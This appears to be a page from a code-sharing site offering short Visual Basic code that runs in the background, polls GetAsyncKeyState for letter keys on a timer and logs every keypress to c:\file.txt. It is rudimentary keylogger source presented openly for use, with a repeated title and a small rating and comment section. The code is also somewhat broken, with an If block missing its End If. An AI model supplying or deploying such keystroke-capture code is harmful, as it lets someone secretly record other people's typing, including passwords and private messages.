A simple code to catch any keypress and store it in a file named file.txt It runs in the backgrou
A simple code to catch any keypress and store it in a file named "file.txt" It runs in the background.
Rate A simple code to catch any keypress and store it in a file named file.txt It runs in the backgrou
(2(2 Vote))
'insert this code in form's load event
open "c:\file.txt" for output as #1
'insert this code in timer event
Dim i as integer,key as integer
for i =65 to 91
key = GetAsyncKeyState(i)
if key = -32767 or key = -32768 then
print #1, chr(i)
next
'insert this code in form's unload event
'Yuo cannot see the text in a file until file is open
Close #1
A simple code to catch any keypress and store it in a file named file.txt It runs in the backgrou Comments
No comments yet — be the first to post one!
Post a Comment